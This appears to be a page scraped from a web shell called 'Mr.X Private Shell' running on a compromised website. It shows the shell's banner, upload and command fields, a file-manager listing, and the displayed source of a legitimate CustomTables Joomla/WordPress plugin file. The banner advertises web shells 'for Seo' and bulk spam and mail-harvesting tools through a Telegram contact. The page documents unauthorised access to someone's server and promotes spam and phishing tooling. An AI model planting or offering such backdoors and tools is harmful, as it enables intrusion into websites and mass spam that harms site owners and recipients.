__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * CustomTables Joomla! 3.x/4.x/5.x Component and WordPress 6.x Plugin
 * @package Custom Tables
 * @author Ivan Komlev <[email protected]>
 * @link https://joomlaboat.com
 * @copyright (C) 2018-2024. Ivan Komlev
 * @license GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
 **/

namespace CustomTables;

defined('_JEXEC') or die();

class ViewJSON
{
	var CT $ct;

	function __construct(CT &$ct)
	{
		$this->ct = &$ct;
	}

	function render(string $pageLayoutContent, bool $obEndClean = true): ?string
	{
		$twig = new TwigProcessor($this->ct, $pageLayoutContent, false, true);
		$pageLayoutContent = $twig->process();

		if ($twig->errorMessage !== null)
			return (object)array('msg' => $twig->errorMessage, 'status' => 'error');

		if ($this->ct->Params->allowContentPlugins)
			CTMiscHelper::applyContentPlugins($pageLayoutContent);

		if ($obEndClean) {

			if (ob_get_contents()) ob_end_clean();

			$filename = $this->ct->Params->pageTitle;
			if (is_null($filename))
				$filename = 'ct';

			$filename = CTMiscHelper::makeNewFileName($filename, 'json');

			header('Content-Disposition: attachment; filename="' . $filename . '"');
			header('Content-Type: application/json; charset=utf-8');
			header("Pragma: no-cache");
			header("Expires: 0");

			die($pageLayoutContent);
		}
		return $pageLayoutContent;
	}
}

Filemanager

Name Type Size Permission Actions
admin-diagram.php File 5.16 KB 0664
admin-documentation.php File 32.69 KB 0664
admin-listoffields.php File 10.2 KB 0664
admin-listoflayouts.php File 6.22 KB 0664
admin-listoftables.php File 8.93 KB 0664
catalog-csv.php File 1.6 KB 0664
catalog.php File 8.56 KB 0664
details.php File 9.37 KB 0664
edit.php File 6.99 KB 0664
json.php File 1.38 KB 0664
Filemanager